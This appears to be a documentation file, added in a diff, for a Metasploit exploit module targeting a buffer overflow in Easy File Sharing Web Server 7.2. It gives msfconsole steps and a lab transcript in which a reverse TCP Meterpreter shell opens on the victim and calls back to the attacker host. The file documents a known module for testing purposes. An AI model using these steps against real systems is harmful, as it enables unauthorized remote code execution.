|
| 1 | +## Description |
| 2 | + |
| 3 | +This module exploits a vulnerability in the Easy File Sharing Web Server application, by exploiting an overflow in the Email Post parameter, through DEP bypass via ROP chain. |
| 4 | + |
| 5 | +This module allows a remote attacker to get a payload executed under the context of the user running the Easy File Sharing application |
| 6 | + |
| 7 | +## Vulnerable Application |
| 8 | + |
| 9 | +[Easy File Sharing](http://www.sharing-file.com/) is a file sharing software that allows visitors to upload/download files easily through a Web Browser (IE, Firefox, Chrome etc.). |
| 10 | + |
| 11 | +This module has been tested successfully on |
| 12 | + |
| 13 | +* Easy File Sharing 7.2 on Windows XP En Sp3 |
| 14 | + |
| 15 | +Installers: |
| 16 | + |
| 17 | +[Easy File Sharing Installers](http://www.sharing-file.com/efssetup.exe) |
| 18 | + |
| 19 | +## Verification Steps |
| 20 | + |
| 21 | +1. Start `msfconsole` |
| 22 | +2. Do: `use exploits/windows/http/easyfilesharing_post` |
| 23 | +3. Do: `set rhosts [IP]` |
| 24 | +4. Do: `exploit` |
| 25 | +5. You should get your payload executed |
| 26 | + |
| 27 | +## Scenarios |
| 28 | + |
| 29 | +``` |
| 30 | +root@kali:~$ msfconsole -q |
| 31 | +msf > use exploit/windows/http/easyfilesharing_post |
| 32 | +msf exploit(easyfilesharing_post) > set RHOST 192.168.56.101 |
| 33 | +RHOST => 192.168.56.101 |
| 34 | +msf exploit(easyfilesharing_post) > exploit |
| 35 | + |
| 36 | +[*] Started reverse TCP handler on 192.168.56.1:4444 |
| 37 | +[*] Sending stage (957487 bytes) to 192.168.56.101 |
| 38 | +[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.101:1253) at 2017-06-17 22:45:34 +0200 |
| 39 | + |
| 40 | +meterpreter > sysinfo |
| 41 | +Computer : MM |
| 42 | +OS : Windows XP (Build 2600, Service Pack 3). |
| 43 | +Architecture : x86 |
| 44 | +System Language : en_US |
| 45 | +Domain : WORKGROUP |
| 46 | +Logged On Users : 2 |
| 47 | +Meterpreter : x86/windows |
| 48 | +meterpreter > exit |
| 49 | +[*] Shutting down Meterpreter... |
| 50 | + |
| 51 | +[*] 192.168.56.101 - Meterpreter session 1 closed. Reason: User exit |
| 52 | +msf exploit(easyfilesharing_post) > |
| 53 | +``` |
0 commit comments